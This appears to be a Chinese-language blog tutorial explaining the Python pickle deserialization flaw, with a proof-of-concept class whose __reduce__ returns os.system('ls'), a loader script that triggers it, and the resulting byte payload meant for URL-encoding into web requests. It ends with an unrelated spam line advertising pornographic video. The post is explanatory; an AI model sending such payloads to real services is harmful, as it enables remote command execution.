Python Pickle命令執行漏洞原理 2019-06-04

簡介

Python的序列化/反序列化模塊有兩個,一個是Pickle、一個是cPickle,pickle 實現了對一個 Python 對象結構的二進制序列化和反序列化。 “Pickling” 是將 Python 對象和所擁有的層次結構被轉化為一個字節流的過程,而 “unpickling” 是相反的操作,會將(來自一個 binary file 或者 bytes-like object 的)字節流轉化回一個對象層次結構。Pickling(和 unpickling)也被稱為“序列化”, “編組” 或者 “平面化”。而為了避免混亂,此處采用術語 “pickling” 和 “unpickling”。

Python官方文檔上也說明了:pickle 模塊在接受被錯誤地構造或者被惡意地構造的數據時不安全。永遠不要 unpickle 來自于不受信任的或者未經驗證的來源的數據。

Pickle模塊

Pickle模塊有4個主要的方法,分別是:load、loads、dump、dumps。

具體用法及傳參請自行查看手冊,以下簡單介紹:

load

從文件中讀取已序列化的數據并返回重建的對象結構。

loads

從字節對象中讀取已序列化的數據并返回重建的數據結構。

dump

序列化對象并寫入到文件中。

dumps

序列化對象并返回字節對象。


介紹完4 個方法,不得不提一下__reduce__魔術方法。

__reduce__

當定義擴展類型時(也就是使用Python的C語言API實現的類型),如果你想pickle它們,你必須告訴Python如何pickle它們。 __reduce__ 被定義之后,當對象被Pickle時就會被調用。它要么返回一個代表全局名稱的字符串,Pyhton會查找它并pickle,要么返回一個元組。這個元組包含2到5個元素,其中包括:一個可調用的對象,用于重建對象時調用;一個參數元素,供那個可調用對象使用;被傳遞給 setstate 的狀態(可選);一個產生被pickle的列表元素的迭代器(可選);一個產生被pickle的字典元素的迭代器(可選);

也就是說,如果我們重寫__reduce__并讓他返回2 個元素,第一個元素為可調用的對象,比如os.system,第二個元素會被os.system當做參數調用。

構造基礎Payload

根據上述的理論,我們可以寫出來這樣的代碼pickle_poc.py

import pickle
import os

class Poc:
	def __reduce__(self):
		cmd = "ls"
		return os.system, (cmd,)

poc = Poc()
pickle.dump(poc, open('poc.txt', 'wb'))

我們建立了一個Poc類,重寫了它的__reduce__方法,返回了兩個元素,第一個元素是os.system,第二個元素是個tuple,在反序列化的時候,ls命令應該會被執行。

我們使用pickle.dump方法將序列化后的字節寫入了文件。

下面我們來寫一個反序列化的腳本,來觸發漏洞unpickle.py

import os
import pickle

pickle.load(open('poc.txt', 'br'))

首先執行pickle_poc.py生成POC,會發現當前目錄下出現poc.txt

然后我們執行unpickle.py對該poc.txt進行反序列化:

然后就會發現命令被執行了。

但是目前的payload是二進制格式的,不太方便在實戰中去利用,所以可以使用dumps方法來導出易于利用的payload,比如:

import pickle
import os

class Poc:
	def __reduce__(self):
		cmd = "ls"
		return os.system, (cmd,)

poc = Poc()
print(pickle.dumps(poc))

使用dumps生成出來的payload是這樣的:

b’\x80\x03cposix\nsystem\nq\x00X\x02\x00\x00\x00lsq\x01\x85q\x02Rq\x03.’

這樣的payload就可以進行urlencode編碼以后在web中進行發送了。

后話

本來想找個demo來演示的,但實在是找不到,也懶得寫demo了。

本文主要還是理解一下pickle模塊執行命令的原理,如果有理解錯誤的地方歡迎交流。

一级A片不卡在线观看